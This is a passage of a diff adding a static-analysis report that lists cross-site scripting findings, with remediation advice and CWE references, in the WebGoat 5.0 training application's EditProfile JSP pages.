+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
